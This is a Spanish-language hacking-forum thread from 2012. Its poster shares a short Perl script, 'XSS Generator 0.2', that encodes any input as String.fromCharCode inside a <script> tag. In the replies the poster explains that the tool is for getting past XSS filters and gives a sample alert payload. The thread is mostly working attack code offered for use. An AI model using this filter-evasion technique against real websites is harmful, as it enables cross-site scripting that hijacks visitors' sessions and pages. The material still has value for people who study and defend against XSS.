Underc0de

Programación Scripting => Perl => Mensaje iniciado por: BigBear en Octubre 08, 2012, 10:21:21 PM

Título: [Perl] XSS Generator 0.2
Publicado por: BigBear en Octubre 08, 2012, 10:21:21 PM
Cortisimo pero util script xDD.

Código (perl) [Seleccionar]

#!usr/bin/perl
#XSS Generator 0.2
#Coded By Doddy H

head();

print "\n[+] Enter the code : ";
$code = <STDIN>;
chomp $code;
if ( $code ne "" ) {
    print "\n\n[XSS] : <script>var code =String.fromCharCode("
      . encode($code)
      . "); document.write(code);</script>\n";
}

copyright();

sub head {
    print "\n\n-- == XSS Generator 0.2 == --\n\n";
}

sub copyright {
    print "\n\n-- == (C) Doddy Hackman 2012 == --\n\n";
    <stdin>;
    exit(1);
}

sub encode {
    return join ',', unpack "U*", $_[0];
}

#The End ?
Título: Re:[Perl] XSS Generator 0.2
Publicado por: zoro248 en Octubre 08, 2012, 10:44:54 PM
Disculpa mi ignorancia pero para que sirve este script?
Título: Re:[Perl] XSS Generator 0.2
Publicado por: BigBear en Octubre 09, 2012, 11:37:00 AM
es para saltar ciertos filtros para la vulnerabilidad XSS.
Título: Re:[Perl] XSS Generator 0.2
Publicado por: munter en Octubre 09, 2012, 11:55:11 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
es para saltar ciertos filtros para la vulnerabilidad XSS.

como se usaria?
Título: Re:[Perl] XSS Generator 0.2
Publicado por: BigBear en Octubre 09, 2012, 12:23:13 PM
simple pones el codigo que queres usar en la pagina ej : <script>alert(/hola/);</script>